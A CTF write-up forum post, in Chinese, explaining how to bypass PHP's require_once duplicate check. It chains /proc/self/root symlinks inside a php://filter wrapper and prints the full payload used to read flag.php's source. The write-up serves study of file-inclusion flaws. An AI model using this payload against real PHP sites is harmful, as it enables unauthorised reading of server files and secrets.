CTF-1解题思路

Track-子羽   ·   发表于 2021-11-04 15:26:03   ·   CTF&WP专版

解题思路:

这里就牵扯到require_once是通过hash值来判断是否保护过

php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,当已经require_once(‘flag.php’),已经include的文件不可以再require_once。

在这里有个小知识点,/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,多次包含使其失效。

payload:

?file=php://filter/read=convert.base64-encode/resource=file:///proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/flag.php

获取到的flag需要base64解码


不太理解payload的话可以参考这个文章:
https://www.anquanke.com/post/id/213235#h3-3

打赏我,让我更有动力~

0 条回复   |  直到 2021-11-4 | 1515 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.